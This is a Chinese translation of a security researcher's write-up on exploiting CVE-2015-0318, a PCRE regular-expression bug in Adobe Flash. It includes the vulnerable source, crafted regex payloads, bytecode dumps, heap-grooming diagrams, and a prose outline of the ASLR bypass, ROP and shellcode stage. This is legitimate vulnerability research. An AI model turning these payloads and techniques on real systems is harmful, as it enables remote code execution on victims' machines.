標題:(^Exploiting)\s(CVE-2015-0318)\s(in)\s*(Flash$) 作者:Mark Brand
issue 199/PSIRT-3161/CVE-2015-0318
簡要概述:Flash使用的PCRE正則式解析引擎(https://github.com/adobe-flash/avmplus/tree/master/pcre, 請注意公開的avmplus代碼早已過期,他之前有的許多其他漏洞已經被Adobe修復,所以審計這段代碼可能會比較讓人灰心)。
注:明顯這個引擎是有漏洞的,從上面的issue頁面可以看到漏洞的相關信息。
#!c
/* For \c, a following letter is upper-cased; then the 0x40 bit is flipped.
This coding is ASCII-specific, but then the whole concept of \cx is
ASCII-specific. (However, an EBCDIC equivalent has now been added.) */
case 'c': <---- There’s no check to see if we’re in UTF8 mode
c = *(++ptr); <---- This could be part of a multibyte unicode character
if (c == 0)
{
*errorcodeptr = ERR2;
break;
}
#ifndef EBCDIC /* ASCII coding */
if (c >= 'a' && c <= 'z') c -= 32;
c ^= 0x40;
#else /* EBCDIC coding */
if (c >= 'a' && c <= 'z') c += 64;
c ^= 0xC0;
#endif
break;
以下就是當我們把轉義符\c(匹配1個ASCII字符串, 譯注:ANSI字符)和一個多字節的UTF-8字符合在一起的結果,我們可以簡單的用“\c\xd0\x80+”來觸發bug,如下:
\c?+(?1)
編譯后會是如下字節碼:
0000 5d0009 93 BRA [9]
0003 1bc290 27 CHAR ['\xc2\x90']
0006 201b 32 PLUS ['\x1b']
0008 80 128 INVALID
0009 540009 84 KET [9]
000c 00 0 END
很明顯這里有東西出錯了,但是問題是如何才能讓這個無效的字節碼變成任意代碼執行。很不幸,如果我們就拿這個無效的字節碼來比較的話,結果就是匹配失敗,然后退出匹配的過程,不會有什么其他的動作。
但是還有希望,pcre_compile.cpp提供了一些附加選項,我使用的是find_brackets,它會從當前的字節碼迭代到末尾,而且有一個相對寬松的default case(譯注:switch的case default:塊),這個case會定位(并填充一個偏移量到)一個有序組,所以也許使用這個會導致一些奇怪的內存損壞或者讓PCRE字節碼有區別于一般字節碼執行起來。
所以我們看看這個例子,添加一個回溯引用:
\c?0?4+(?1)
我們可以看到這一行(https://github.com/adobe-flash/avmplus/blob/master/pcre/pcre_compile.cpp#L1635),'c'被設定成無效的操作碼:0x80:
#!c
/* Add in the fixed length from the table */
code += _pcre_OP_lengths[c][/c];
現在,_pcre_OP_lengths是一個全局數組了,0x80這個偏移稍稍跨過了數組的末尾。這個倒是很方便,因為這個定位到了一組將被用來國際化的字符串數組前面(在Windows和Linux上都是這樣)。在每個Flash版本中,我們獲得到的偏移都是110(明顯比有效的操作碼的長度要長),所以如果我們能修改一下堆,那么我們就可以將代碼的指針從分配的字節碼緩存中移動到我們控制的數據中。我們只需要重新操作一下,讓find_bracket將字節碼匹配到我們所需的那段緩存中,然后我們就可以寄希望于它,讓它來幫助我們執行惡意代碼了。
我們遇到了一個小小的問題:字節碼的匹配器在遇到無效字節碼的時候會退出匹配過程。解決方案是:可以用括號把它們包起來,讓他們成為一個可選組:
(\c?0?4+)?(?2)
通過為組2合理的安排緩存,我們可以成功地將編譯器編譯成:
LEGITIMATE HEAP BUFFER
0000 5d001b 93 BRA [27]
0003 66 102 BRAZERO
0004 5e000b0001 94 CBRA [11, 1]
0009 1bc290 27 CHAR ['\xc2\x90']
000c 201b 32 PLUS ['\x1b']
000e 80 128 INVALID
000f 54000b 84 KET [11]
0012 5c0006 92 ONCE [6]
0015 510083 81 RECURSE [131] <---- this 131 is the bytecode index to recurse to (131 == 0x83, at the start of our groomed heap buffer)
0018 540006 84 KET [6]
001b 54001b 84 KET [27]
001e 00 0 END
…
GROOMED HEAP BUFFER
0083 5e00880002 94 CBRA [136, 2]
0088 540088 84 KET [136]
當我們執行這段正則表達式的時候,看起來事事順利,因為我們需要執行的路徑是:
0000 5d001b 93 BRA [27]
0003 66 102 BRAZERO
0004 5e000b0001 94 CBRA [11, 1]
0009 1bc290 27 CHAR ['\xc2\x90'] <---- Fail, backtrack
0015 510083 81 RECURSE [131]
0083 5e00880002 94 CBRA [136, 2] <---- Now executing inside our groomed heap buffer
0088 540088 84 KET [136]
0018 540006 84 KET [6]
001b 54001b 84 KET [27]
001e 00 0 END
所以,現在我們可以在調整過的堆緩沖區中歡樂地將任意正則表達式字節碼插入我們的CBRA和KET中間。
PCRE字節碼解釋器令人驚訝的健壯,因此也讓我找了很久才發現一個有用的內存損壞點。解釋器中的主要的內存訪問代碼都做過有效性檢查,如果他沒有做的這么完美(但是還是有很多跨界讀的機會,但是現在我們需要的是寫權限),我們很可能早就用一個跨界寫讓它能做更多事情。
這就是這段有趣的代碼,在處理CBRA的過程中有一個對組數的錯誤架設,代碼如下(來自pcre_exec.cpp,做過美化,移除了一下debug代碼)
#!c
case OP_CBRA:
case OP_SCBRA:
number = GET2(ecode, 1 + LINK_SIZE); <---- we control number
offset = number << 1; <---- we control offset
if (offset < md->offset_max) <---- bounds check that offset within offset_vector
{
save_offset3 = md->offset_vector[md->offset_end - number]; <---- we control number, so if number is 0, we index at md->offset_end, which is one past the end of the array
save_capture_last = md->capture_last;
if (ES3_Compatible_Behavior) // clear all matches for groups > than this one
{ // (we only really need to reset all enclosed groups, but
// covering all groups > this is harmless because
// we interpret from left to right)
savedElems = (offset_top > offset ? offset_top - offset : 2);
if (savedElems > frame->XoffsetStackSaveMax)
{
if (frame->XoffsetStackSave != frame->XoffsetStackSaveStg)
{
(pcre_free)(frame->XoffsetStackSave);
}
frame->XoffsetStackSave = (int *)(pcre_malloc)(savedElems * sizeof(int));
if (frame->XoffsetStackSave == NULL)
{
RRETURN(PCRE_ERROR_NOMEMORY);
}
frame->XoffsetStackSaveMax = savedElems;
}
VMPI_memcpy(offsetStackSave, md->offset_vector + offset, (savedElems * sizeof(int)));
for (int resetOffset = offset + 2; resetOffset < offset_top; resetOffset++)
{
md->offset_vector[resetOffset] = -1;
}
}
else
{
offsetStackSave[1] = md->offset_vector[offset];
offsetStackSave[2] = md->offset_vector[offset + 1];
savedElems = 0;
}
md->offset_vector[md->offset_end - number] = eptr - md->start_subject; <---- even better, we write the current length of the match there; this is becoming interesting.
所以,我們可以將我們控制的一個DWORD寫入offset_vector之后,當這么做的時候,通常offset_vector是RegExpObject.cpp中分配的一個棧上緩存:
#!c
ArrayObject* RegExpObject::_exec(Stringp subject,
StIndexableUTF8String& utf8Subject,
int startIndex,
int& matchIndex,
int& matchLen)
{
AvmAssert(subject != NULL);
int ovector[OVECTOR_SIZE]; <--
int results;
int subjectLength = utf8Subject.length();
這樣就不是很有趣了,我們多寫的一個DWORD其實沒啥用--我沒有看,但是現代的編譯器都會做變量重排序和安全Cookie,所以這樣做幾乎沒有什么用。但是我們有一個更簡單的方式,這個例子里面我們會用更多的匹配組,這些組的數量比要填充進的緩存數量還要大,這時PCRE會在堆上分配一個合適大小的緩存。(譯注:意思是原先分配在棧上的空間不夠大,所以程序又會在堆上分配一片內存,保證操作可以正常執行)
#!c
/* If the expression has got more back references than the offsets supplied can
hold, we get a temporary chunk of working store to use during the matching.
Otherwise, we can use the vector supplied, rounding down its size to a multiple
of 3. */
ocount = offsetcount - (offsetcount % 3);
if (re->top_backref > 0 && re->top_backref >= ocount / 3)
{
ocount = re->top_backref * 3 + 3;
md->offset_vector = (int *)(pcre_malloc)(ocount * sizeof(int));
if (md->offset_vector == NULL)
{
return PCRE_ERROR_NOMEMORY;
}
using_temporary_offsets = TRUE;
DPRINTF(("Got memory to hold back references\n"));
}
else
{
md->offset_vector = offsets;
}
md->offset_end = ocount;
md->offset_max = (2 * ocount) / 3;
md->offset_overflow = FALSE;
md->capture_last = -1;
贊,好事成雙。當分配大小大于99*4=396字節時,我們可以差不多控制一個堆創建之后的一個DWORD了。由于我們需要的是寫入分配區域之后,所以看看Flash的堆分配器,它告訴我們,504字節是我們準確匹配到的第一個區域的大小,所以我們需要 md->top_backref == 41 這么大來獲得這個數字。這個簡單,只要我們加一堆捕獲組和回溯引用即可。
(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?43)
另一個我們將要碰到的問題是Flash并不會校驗正則表達式是否編譯成功,如果我們第一個堆分配失敗的話,find_bracket將不會找到一個匹配該組的數據,因此編譯也會失敗當調試的時候這個是相當復雜的,所以我們可以在開頭加一個常量,這樣我們就能用它來測試是否編譯成功了。
(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?70))
像我們之前提到的一樣,我們需要一次堆分配來讓我們的代碼正好位于從我們提供的正則式中編譯出的字節碼的緩存位置之后。為了更簡單一些,我們會把正則式貼到緩存后面,這樣對Flash的堆分配器來說,這就又是一個不錯的數字了,下一個可用單元是576字節,每個字符匹配增加2個字節。
(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c?0?4*)?(?70))
我們需要通過更多的修改來讓這個將當前匹配的長度復寫問題產生作用,所以我們需要有更簡單的方式來控制它。我們可以調整第一組來讓匹配任意個數的不同字符,如下:
(c01db33f|(B*)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c?0?4*)?(?70))
注:漏洞代碼中,我們會在選定的字符里面隨意替換B,原因是Flash會緩存編譯的正則式,無論成功與否都會,如果我們的分配失敗了,我們還是需要強制它重新編譯正則的。
所以,這就意味著漏洞最初的編譯處理工作已經完成了。我們已經知道如何通過這個跨界寫的字節碼payload,是:
0000 5e00010046 94 CBRA [1, 70]
0005 5e00000000 94 CBRA [0, 0]
000a 6d 109 ACCEPT
為了成功寫入,最后的ACCEPT是必須的,我們需要讓組0成為一個匹配項,ACCEPT將強行完成這個動作,而且還有個好處是它使用的字節碼最少。
現在,如果你一路看下來,可能覺得這個東西實在是麻煩。在許多情況下,這差不多就是漏洞的開始:我們控制了分配的大小,而且我們把我們的匹配項的長度寫到了它的末尾,雖然說要覆寫一個指針是個相當煩人的事情。但是好消息是在Flash中有一個一了百了的解決反感:Vector.
首先我們需要分配一大組大小504的緩沖區(和我們編譯的正則式一樣),然后用我們的惡意字節碼填充它:
#!bash
_______________________________________________________________________________________
|exploit-bytecode------------|exploit-bytecode------------|exploit-bytecode------------|
`````````````````````````````````````````````````````````````````````````````
然后我們釋放第二個buffer,這樣我們就能保留下一個大小正好的“溝”,而且這里的溝很容易被Flash堆分配器再利用。 (譯注:意思是要分配的也是這么大,所以分配器可能優先從這里分配堆上空間)
#!bash
_______________________________________________________________________________________
|exploit-bytecode------------|FREE |exploit-bytecode------------|
`````````````````````````````````````````````````````````````````````````````
所以當我們試圖編譯我們的正則式的時候,我們差不多每次都會分配到這里,這個溝內正好會填上一份我們的惡意字節碼,所以我們就構造了一個緊貼著buffer的字節碼。
#!bash
_______________________________________________________________________________________
|exploit-bytecode------------|ERCP|metadata|regex-bytecode|exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````
這里也要用一些花招,我們想要有一個大小0xffffffff的Vector
#!bash
_______________________________________________________________________________________
|length|vector---------------|length|vector---------------|length|vector---------------|
`````````````````````````````````````````````````````````````````````````````
像是:
#!bash
_______________________________________________________________________________________
|FREE |length|vector---------------|length|vector---------------|
`````````````````````````````````````````````````````````````````````````````
當正則式執行起來,當前匹配的大小(一個DWORD)會寫過分配的offset_vector末尾,然后會把第一個vector的length域破壞掉。
#!bash
_______________________________________________________________________________________
|offset_vector---------------|corrupt|vector--------------|length|vector---------------|
`````````````````````````````````````````````````````````````````````````````
我們只需要增加第一個vector的大小1個字節,我們就可以用第一個vector來完全控制第二個字節:
#!bash
_______________________________________________________________________________________
|offset_vector---------------|length+1|vector--------------------|vector---------------|
`````````````````````````````````````````````````````````````````````````````
_______________________________________________________________________________________
|offset_vector---------------|length+1|vector---------------|UINT_MAX|vector-----------------------
`````````````````````````````````````````````````````````````````````````````
現在,我們已經有所有Flash進程的內存地址的讀寫權限了,差不多可以宣告Flash完蛋了,最后還有一個主要問題,我們并不知道我們的超大Vector.
方便的是,在返回actionscript之前,PCRE代碼將會為這個超大的vector自動釋放緩存。這意味著我們可以往回找到我們的vector,從它之后的自由塊(譯注:已經被釋放的緩沖區區域)中找到一個freelist指針。
|FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---|| `\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
````
這個指針會指向下一個可用塊,差不多就是我們那個超大的vector,我們可以檢查一下是不是,當然也不是必須的,因為block size實在是很大,賭一下也很安全。這樣我們的相對讀寫權限就可以轉為完全讀寫了。
|FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---||FREE|ptr|
`\
`\
`\
`|``\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
`\
^`\
`\
`\
````` |___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|\___|__|
剩余的就是一個簡單的Windows任意代碼讀寫的教程了,如果你覺得很無聊的話,這段也可以不用看。
我們通過定位Vector繞過了ASLR,但是我們并不知道其他東西在哪兒,我們需要一個能用的已經載入的模塊,這樣我們就可以用它的代碼了。一個方法是堆噴,但是現在并沒有這個必要。
Flash使用的FixedAlloc分配器分配的內存頁起始處有一個非常不錯的結構,它包含有一個最終指向一個C++類的靜態實例。這個實例起始就是在Flash模塊中的,所以我們能用這個來定位到Flash模塊,詳情見漏洞代碼。
當我們在模塊中有一個指針的時候,我們就能從這個指針開始往回找到所有MZ標記,這樣就能識別各個模塊,然后獲取它們的導出表了,這可以在我們的漏洞最終階段使用
現在我們已經繞過了ASLR,如果這是一個linux漏洞而且沒有RELRO的話,我們只需要覆蓋GOT節的一個函數指針(參閱:http://googleprojectzero.blogspot.ch/2014/09/exploiting-cve-2014-0556-in-flash.html)即可,但是Windows卻沒有這么方便的技術,通過逆向Flash的文件我們終于找到一個可以覆蓋的地方,比在堆上來操作簡單一些。
如果我們再創建一個AS類,然后實例化這個類,這時它會在堆上分配,同時也會有一個vtable指針來關聯和對象相關的函數。我們可以創建一個有一些固定特征的類,然后讓它變得容易找到,通過查詢堆結構,然后定位到這個類,這樣我們也就不必冒訪問未初始化內存的風險了。
Flash JIT有用的一個功能是如果參數是一個簡單的原生類型的話,它就會被壓入原始棧上(就像普通的原生函數調用一樣)。這意味著用一大堆uint參數來覆蓋函數指針的話我們就可以控制一大塊原生棧空間,當函數被調用的時候,我們就能直接ROP到合法的程序棧上。
我們需要做的就是調用VirtualProtect來讓Vector所在頁屬性被標記為可執行,然后放入我們的Shellcode,跳進去就一切ok了。
調用VirtualProtect時可以通過創建一些沒用的變量來創建一個足夠大的棧空間這樣返回的時候也不會破壞Flash原始的棧幀了(我們的假棧幀會插到原始的棧幀中間)
執行成功了,怎么返回Flash不讓它崩呢?看看我們對進程做的事情,如果一切順利,我們也只損壞了3個dword的內存,所以還是很容易恢復執行的:
我們覆蓋第二個vector的length的時候,第一個立馬就被修復了,2需要修復一下,因為Flash free vector的時候可能會把所有內存都恢復掉……而3則不需要恢復了,因為不會再用到它了。
這意味著如果我們能正確的處理的話,Flash在漏洞執行前后將會幾乎看不出來變化,我們的ROP看起來將會像是對Flash函數的一個Hook,在執行完我們的代碼之后還會返回到原來的Flash函數內。